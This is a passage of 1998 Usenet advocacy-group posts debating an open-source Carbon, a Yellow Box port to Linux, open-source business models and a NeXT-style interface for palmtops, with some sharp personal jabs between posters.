TheirThing which TheirCorp sells, TheirCorp must pay MyCorp 90% of the
price MyCorp is charging for MyThing; in this case, $90. Now OtherCorp
buys a copy of TheirThing, sees how bulky and poorly-coded it is, and
totally rewrites it as OtherThing, selling for $100 still. OtherThing
contains 50% of TheirThing's code, and 90% of that 50% is still MyThing
code. So for every copy of OtherThing you buy, $50 goes to OtherCorp (who
did all the optimising and most of the work), $5 goes to TheirCorp (who
did the least work, just added a feature), and $45 goes to MyCorp (who
wrote the original code).
Now replace MyCorp with Apple, MyThing with MacOS, TheirCorp with MS,
TheirThing with "MacWindows", OtherCorp with RedHat, and OtherThing as
"RedMac". The consumer would most likely buy RedMac, because it has one
more feature than MacOS, and is half as bulky as MacWindows, but costs the
same price. Apple doesn't like this, because they're only getting $45 now.
So Apple buys a copy of RedMac, adds a ton of cool new stuff to it,
optimises it a bit; so that it contains 90% of the RedMac code, but that's
only 50% of it's total code. They sell it for $150. $90 of that goes to
RedHat, but $45 of that goes to MS (leaving RedHat with only $45 as well),
and $40.50 of THAT goes back to Apple (leaving MS with $4.50). So Apple
makes $60 right off the bat, plus $40.50 in royalties, for a total of
$100.50 out of a $150 product which is mostly their own code. To the user,
however, they just paid $150 for the best product on the market.
You like?
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Business case for OpenCarbon
Content-Type: text/plain; charset=us-ascii
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Cc: dutky@bellatlantic.net
Organization: needs one
References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com>
<366EB83B.754F@bellatlantic.net>
Mime-Version: 1.0
Date: Wed, 9 Dec 1998 21:13:52 GMT
In <366EB83B.754F@bellatlantic.net> "Jeffrey S. Dutky" wrote:
> First Carbon does NOT "replace old, crufty 16bit leftover stuff"
> because the Mac NEVER had "16bit" stuff.
Fair enough, but old and crufty still applies.
> Carbon is a complete replacement for the current OS calls
More accurately Carbon is a re-implementation of large number of those
calls. They still have the same API, and thus the same problems associated
with those APIs. You can port and rewrite all you want, but if you use the
same API's the FileManager still isn't going to be threaded properly.
> Let's see if I can translate this:
>
> "By open sourceing carbon, Apple and the Linux community can
> expand their userbase in the home and business markets. (as
> distinguished from the server or education markets) The Linux
> community and Apple would then share common interests in these
> two markets."
No. OpenSourcing Carbon does nothing for...
a) providing a graphics engine that works on Linux
b) dealing with endness problems
c) getting apps that run on it
The last item is very much a problem. Unless you propose that all the
commercial apps are also put into OpenSource then users will still be at
the mercy of the developers to compile their apps for those platforms.
Combined with no binary compatibility of the data files, thus requiring
rewrites of most file formats, this is not at all easy.
On the other hand the OpenStep API and library already deals with these
problems. So why would you possibly want to start with a broken API when
there's a working one? For compatibility with older apps that are unlikely
to be ported anyway?
> Big Picture issues I envision from such an OpenCarbon proposition
> I think I pretty clearly defined the benefits to Apple of making
> the Carbon APIs available to the Linux community in paragraph
> four starting "The benefits of an Open Source carbon, to Apple,
> are several:" They include a larger developer base for the APIs
> themselves range of platforms, ports to other platforms implemented at
> little or no cost, and a larger potential market for third party
> software written to the Carbon APIs.
If you replace the word "Carbon" with "Yellow" in the statement above it
reads identically, but is far more powerful, requires far less work to
implement, and is a better platform.
Maury
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Message-ID: <SPAMLESSforrest-0912981329440001@term6-33.vta.west.net>
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com>
Organization: Obsidian
Date: Wed, 09 Dec 1998 13:29:43 -0800
NNTP-Posting-Date: Wed, 09 Dec 1998 13:29:04 PDT
In article <19981209144308.22407.00000042@ng59.aol.com>, willadams@aol.com
(WillAdams) wrote:
>I don't believe that menus are appropriate for small, hand-held
>screens--gestures are much more appropriate/efficient.
Please explain "gestures" to me, I don't quite understand. To my brain,
menus are the obvious command-giving structure for non-physical things.
That is, in a "real-life computer", is I wanted to move an object on my
desk I'd drag it with my hand, but it I wanted to turn a light on (without
walking across to room to hit a button) it would seem most obvious to me
to select the "Lights" menu, "Living Room" submenu, and select "Main", to
turn on the main light in the living room.
>and Forest went on to say:
><<Something like the NeXT file browser would
>also be very space-efficient, using a similar system; the root dir appears
>as a single column in list view, with a blank column to the right of that.>>
>
>Manipulating files like that would be awkward--the more successful PenUIs
>(PenPoint, Newton) are document-centric which feels much more natural and is
>efficient in terms of accessing the data.
Oh, of course it would be document-centric. But you would still need to be
able to organise your documents into a nice hierarchy, wouldn't you? The
likely hierarchy I see would be:
Documents:
Notes:
[various notebook databases]
Email:
Incoming:
Outgoing:
Address Books:
[various address book databases]
Calenders:
[various calenders (planner databases)]
Editors/Viewers:
Notepad
Email
News
Address Book
Daily Planner
Web
System:
[system files]
The user would likely just have a notebook database, the email
editor/viewer, an address book database, a calender, and the web
editor/viewer, all layed out on his or her shelf. Normally, one wouldn't
have to use the File Browser at all, but if you want to arrange your
system you can; say, have two different address books, daily planners,
etc, for two different people who uses the PDA.
><<Along the bottom would be a Shelf
>for commonly-used files and apps.
>>>
>
>Uh, this has already been done--see PenPoint.
Yes, I know. Just because it's been done should I not include it in my
hypothetical UI design?
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 21:29:33 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <74mq3t$3j4$1@koza.nl.net>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com>
NNTP-Posting-Date: 9 Dec 1998 21:29:33 GMT
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <F3nxuJ.IzF@T-FCN.Net> Maury Markowitz,
> maury@remove_this.istar.ca writes:
> . . .Whoops, forgot GCC, another major component to the internet, as the
> compiler generally used to make the tools I mentioned above.
There's an interesting thing about open source that's often overlooked in
this discussion: It's not enough to have the product itself open source'd
(even if it's GPL'd); you have to have an infrastructure capable of accepting
discussion, patches, bug reports and enhancement requests *all in the open*.
This is what the EGCS effort has taught me: When there was still only gcc2,
the discussion on what enhancement to include, or even whether a bug was
significant to fix with an 2.7.x release, was restricted to a closed mailing
list.
EGCS changed this picture, and immediately got a lot of "support" in the
sense of (suggestions for) improvements from people we had never heard of
before.
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; egcs: mailto:egcs-bugs@cygnus.com
From: altenber@mailstrom.t-link.net (Lee Altenberg)
Newsgroups: comp.sys.next.advocacy
Subject: OSX: The Next Generation--NOT
Date: 9 Dec 1998 21:25:14 GMT
Organization: Eskimo North (206) For-Ever
Message-ID: <74mprq$bci$1@eskinews.eskimo.com>
Mime-Version: 1.0
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There is no mention of Yellow Box or OSX in today's press release from Apple
about rearing a new generation of Mac programmers:
=======
Apple Launches New Student Developer Program
Worldwide Push to Attract Next-Generation Macintosh Developers Rolled Out
``This is the first time Apple has reached out to the next wave of software
and hardware pioneers who are currently learning their craft in colleges and
universities around the world,'' said Clent Richardson, Apple's vice
president of worldwide developer relations. ``Bringing students into the
Macintosh development community today spurs continued innovation on the Mac
platform.''
As part of the program, participants receive a Student Orientation Kit which
includes a customized Tools Sampler CD. The CD contains essential software
for developing great Macintosh and Internet applications, including full
versions of CodeWarrior Academic for Java from Metrowerks Corp., and
Macintosh Programmer's Workshop from Apple. The CD also contains demo
versions of 4th Dimension from ACI US, Inc., BBEdit from Bare Bones Software,
Inc., AppMaker from Bowers Development Corp., CodeWarrior Lite from
Metrowerks, Installer VISE from MindVision Software, REALbasic from REAL
Software, Inc., MachTen CodeBuilder from Tenon Intersystems, and Tools Plus
libraries + framework from Water's Edge Software.
...
=======
--
======================================================================
Lee Altenberg, Ph.D.
E-mail: al ten be r@santafe.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
Message-ID: <366E8F49.AFB47B04@nstar.net>
Date: Wed, 09 Dec 1998 08:55:05 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
> responding would use YB for Linux, but would not use YB on MOXS, that would
> suggest to Apple that there's a large potential market.
Ah. Wouldn't that be a matter of *your* opinion? What happened to the
market studies, the cost-benefit papers, the management review?
Of course, out the window. Because naturally, no matter how much data
one accumulates (contrary to the opinion of management-philes) you never
really know for sure. That's why experience and feel for a market are as
valuable as "business cases" and the Quick Study Answer I just finished
writing for Ericsson Sweden.
It's vaguely galling that you presume to have a singular perspective on
the Linux market, but we have such a pattern emerging...
MJP
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 9 Dec 1998 16:58:14 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74mrpm$vqp$1@crib.corepower.com>
References: <74mprq$bci$1@eskinews.eskimo.com>
NNTP-Posting-Date: 9 Dec 1998 21:58:36 GMT
In article <74mprq$bci$1@eskinews.eskimo.com>, altenber@mailstrom.t-link.net (Lee Altenberg) wrote:
> There is no mention of Yellow Box or OSX in today's press release from Apple
> about rearing a new generation of Mac programmers:
To be fair, Apple isn't yet shipping a Yellow Box development environment,
and the press release mostly seems centered on what their kit offers.
If it doesn't include Yellow tools once they're released, _then_ I'll
worry.
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 22:00:11 GMT
Organization: University of Washington, Seattle
Message-ID: <74mrtb$kei$1@nntp6.u.washington.edu>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <74mq3t$3j4$1@koza.nl.net>
NNTP-Posting-User: gwangung
In article <74mq3t$3j4$1@koza.nl.net>,
Toon Moene <toon@moene.indiv.nluug.nl> wrote:
>Matthew Cromer <matthew_cromer@iname.com> wrote:
>> In article <F3nxuJ.IzF@T-FCN.Net> Maury Markowitz,
>> maury@remove_this.istar.ca writes:
>> . . .Whoops, forgot GCC, another major component to the internet, as the
>> compiler generally used to make the tools I mentioned above.
>There's an interesting thing about open source that's often overlooked in
>this discussion: It's not enough to have the product itself open source'd
>(even if it's GPL'd); you have to have an infrastructure capable of accepting
>discussion, patches, bug reports and enhancement requests *all in the open*.
Hmmmm.....a cogent point....with perhaps more economic drawbacks
than you might think at first glance....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 21:49:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74mr8v$r7l$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news> <74md7v$eib$1@nnrp1.dejanews.com> <366EC0C1.F9056BCE@ericsson.com>
In article <366EC0C1.F9056BCE@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>>> Retake that poll asking Linux users if they would be prepared to pay $20
>>> licence fee, not a penny of which Apple would see. Also I'd hate to point
>>> out the obvious, but if they said they "would not use YB on MOXS" then why
>>> the hell would Apple do this? Gee, let's spend loads of money making candy
>>> for Linux users. Nothing you have said suggests "there's a large potential
>>> market" here.
>>
>> Exactly. Which is why I don't see a compelling reason for Apple to do a YB
>> port to Linux, even though I'd rather see YB available everywhere.
>
> Exactly what?
That 'Nothing...suggests "there's a large potential market" here.'
> Your whole point was that Linux users wouldn't pay $20 for
> a runtime license?
No.
> Watch out for moving goalposts. Your position in this thread has become
> so fluid that it's clear the only fixed point is that a Linux port could
> not/should not be done.
My position hasn't changed.
I've never said a Linux port of YB should not be done.
I haven't seen _anyone_ say that.
I simply question whether such a port is cost-effective for Apple to pursue
right now.
[ Someone else already explained this, using all capital letters if I
remember. Pity it hasn't sunk in yet. ]
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Newsgroups: comp.sys.next.advocacy
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com>
In-Reply-To: <19981209144308.22407.00000042@ng59.aol.com>
From: Paul <pb141@nospam.columbia.edu>
Message-ID: <ACCb2.2119$V3.5431@news14.ispnews.com>
NNTP-Posting-Date: Wed, 09 Dec 1998 17:13:52 EDT
Organization: ISPNews http://ispnews.com
Date: Wed, 09 Dec 1998 22:13:52 GMT
| On 12/09/98, WillAdams wrote:
| >I find the NeXT UI awkward to manipulate with a stylus.
| >
| Forest said:
| <<A small,
| verticle menu in one corner; click (tap) an item and the menu items change
| to those submenu>>
|
| I don't believe that menus are appropriate for small, hand-held
| screens--gestures are much more appropriate/efficient.
The LaunchBar functionality would play well here. Activate the tool, gesture
one or two letters, and the tool becomes a button to activate the chosen
app/file/folder or a window which you can leave and return to with an item
for it to process (ie, open).
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 17:16:39 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366F04D7.186C7B85@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <366E8F49.AFB47B04@nstar.net> <slrn76tuhk.13g.jedi@dementia.mishnet>
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jedi@dementia.mishnet wrote:
> >Ah. Wouldn't that be a matter of *your* opinion? What happened to the
> >market studies, the cost-benefit papers, the management review?
>
> ...as if those sorts would have any more of a
> clue regarding how to collect hard data on the subject...
Thank you. You make my point for me.
[cut]
> >It's vaguely galling that you presume to have a singular perspective on
> >the Linux market, but we have such a pattern emerging...
>
> What's vaguely galling is that you would so casually
> dismiss 10,000 datapoints just because they don't meet
> your proof by authority heuristic.
Who's dismissing what? Have you written Rob Malda asking him to post the
poll? I have...
Chuck was vaguely galling, you're just rank. And not reading very well,
either.
MJP
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 23:14:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74n07n$vu0$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news>
In article <anarkhos-ya02408000R0912980058290001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
[ ... ]
> Well you're certainly making a case NOT to port YB to Linux, thanks. Not
> only will Apple save money, they will save being jeered at by morons like
> yourself.
Was this necessary?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 15:28:05 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912981528050001@news>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost>
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In article <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost>, pit@iohk.SPAM-NOT.com
(taiQ) wrote:
[blahblah]
> Picture a scenario where YB apps start mushrooming thanks largely to
> the Linux port.
BWAHAHAHAHAHHAHAHAHAHAHAHAHAHHAHAHA
Let's see, there are many (actually the large majority) of commercial
applications in WINDOWS. I can certainly picture a scenario of a FEW
windows developers using yellow box. Linux? gimmie a break
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: 9 Dec 1998 22:26:12 GMT
Organization: Semplice Software
Message-ID: <hugh-0912981625300001@231.minneapolis-01.mn.dial-access.att.net>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <366EB02D.B9CD5E3A@trilithon.com>
In article <366EB02D.B9CD5E3A@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> struggling with the notion of how I'm supposed to make a living by
> giving away software. If anybody has any Brilliant Insights, I'd
> love if they'd share them. So far I haven't been able to make it
> work financially.
>
You missed your chance. You should've gotten into it before Eric Raymond,
then you could be him, making money by promoting open source. Then he'd be
stuck where you are. Don'tcha feel stupid now?
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 17:37:43 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366F09C7.47209D76@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net>
<366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net>
<74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net>
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Maury Markowitz wrote:
[cut]
> The issue is whether or not projects become successful by becoming
> OpenSourced. The answer, to date, is "no".
[cut]
> So I simply reject any such suggestion that OpenSource breeds success.
> It does not.
Almost as stupid as the notion that Open Source is a panacea is the
notion that Open Source cannot breed commercial success. As if you had
the ability to unequivocally say "it does not". Whatever.
Ericsson recently released a major piece of software under the Open
Source license. It is a functional programming language and run time
environment used on our commercial switches. Prior to that, we released
Eddie, a highly-available internet server platform featuring high
performance, HTTP 1.1 compliance, and a number of other high-end
features, into the Open Source domain. Eddie was implemented with
Erlang.
Both releases were received with acclaim by the Linux community. Highly
popular in European academic institutions, both pieces of software are
building the Ericsson name in high-technology sectors. Moreover, the
releases demonstrate that Ericsson listens to its customers. A quote
from Joe Armstrong in a posting to comp.lang.functional:
"And a thank you:
"Many of the readers of this group have encouraged us in our campaign
for open source Erlang - Thanks
"-- /Joe"
Again, there couldn't possibly be a lesson for Apple here. Pardon me for
being so repetitive; I just figure that a room full of monkeys being
shown the obvious an infinite number of times must eventually recognize
it...
> But this is a different thing, these are apps that people released for
> whatever reason. This is a far cry from OpenSource-as-a-means-to-an-end
> like HURD, which is IMHO a resounding failure to date (are you using it as
> a primary OS? is anyone you know?).
GNU is a reason for failure on its own. Use non-GNU projects as
examples.
> > What is true is that open source solutions haven't (yet?) proved capable
> > of delivering mass market, easy-to-use, shrink wrapped solutions to
> > the user.
>
> That _too_.
That's because mass-marketing and shrink-wrap are expensive to make and
deliver. It's cheaper to deliver source code over the Internet, which
was one of the original reasons for "open source" in the first place. If
you set an impossible metric, you'll always be able to justify your
conclusions of failure.
[cut]
MJP
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: 9 Dec 1998 22:14:40 GMT
Organization: University of Waterloo
Message-ID: <913241679.585451@watserv4.uwaterloo.ca>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca> <74mnbq$hfo@shelob.afs.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <74mnbq$hfo@shelob.afs.com>, Greg Anderson <greg@afs.com> wrote:
>>
>> That bitterness is seeping in, Greg, in spite of the Utah Field.
>
>Um, *Mormons* are from Utah. *Quakers* are from Pennsylvania, where I live.
>There's a really really big difference.
>
I knew that--I had just forgotten where you live. Oops.
>Anyway, you're reading waaaaay too much into what I wrote.
Isn't a .advocacy group a place where one is supposed to suspend (most)
rational thought in favour of hyperbole, sarcasm, humor, and cheap put-downs?
...
>Prima facie, I would suggest these facts add up to "Greg's opinion does not
>mean anything to Apple." Which is pretty much what I think they want me to
>think.
>
Fair enough. I'll go back to my C++ now. Obj-C let us use lots of [] while
C++ lets us use lots of <>... Ugh.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 17:41:17 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366F0A9D.DEA227D5@ericsson.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost> <anarkhos-ya02408000R0912981528050001@news>
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strobe wrote:
> > Picture a scenario where YB apps start mushrooming thanks largely to
> > the Linux port.
>
> BWAHAHAHAHAHHAHAHAHAHAHAHAHAHHAHAHA
>
> Let's see, there are many (actually the large majority) of commercial
> applications in WINDOWS. I can certainly picture a scenario of a FEW
> windows developers using yellow box. Linux? gimmie a break
Picture a scenario wherein Lawson and I suddenly get a little bit more
respect while this guy keeps posting...
...and then back to the normal cheap jabs. Can't wait :-)
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 17:56:25 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366F0E29.1E3B916@ericsson.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <74mq3t$3j4$1@koza.nl.net> <74mrtb$kei$1@nntp6.u.washington.edu>
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R. Tang wrote:
> Hmmmm.....a cogent point....with perhaps more economic drawbacks
> than you might think at first glance....
I think it's worth noting that his point, while valid, applies only to
the "bazaar" method of open source development. The "cathedral" method
does not require the infrastructure described, except as needed within
the cathedral itself.
One interesting hybrid that usually develops from the cathedral method
is the "bazaar outside the cathedral", wherein cathedral-developed
software is given an active community of volunteers who provide those
bug reports, contribute to that discussion, and set up those newsgroups.
Perl is developed in this way, and is quite successful.
MJP
From: rpeterson@msn.globaldialog.com (Ron Peterson)
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Newsgroups: comp.sys.next.advocacy
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com> <74id46$cvu$1@news.digifix.com> <74jgqe$gfj$1@nnrp03.primenet.com>
Message-ID: <Vvnb2.855$ww5.71101@homer.alpha.net>
Date: Wed, 09 Dec 1998 05:02:45 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 23:02:45 CDT
John Jensen (jjens@primenet.com) wrote:
: If it is Adobe, and this really isn't a money thing, and if they really
: want to "kill" DPS .... what's their motivation?
Adobe wants to say in control of the DTP applications. If other
software vendors can use the DPS API, Adobe would have strong
competition.
Ron
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 9 Dec 1998 14:31:16 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn76tuhk.13g.jedi@dementia.mishnet>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <366E8F49.AFB47B04@nstar.net>
On Wed, 09 Dec 1998 08:55:05 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Charles Swiger wrote:
>
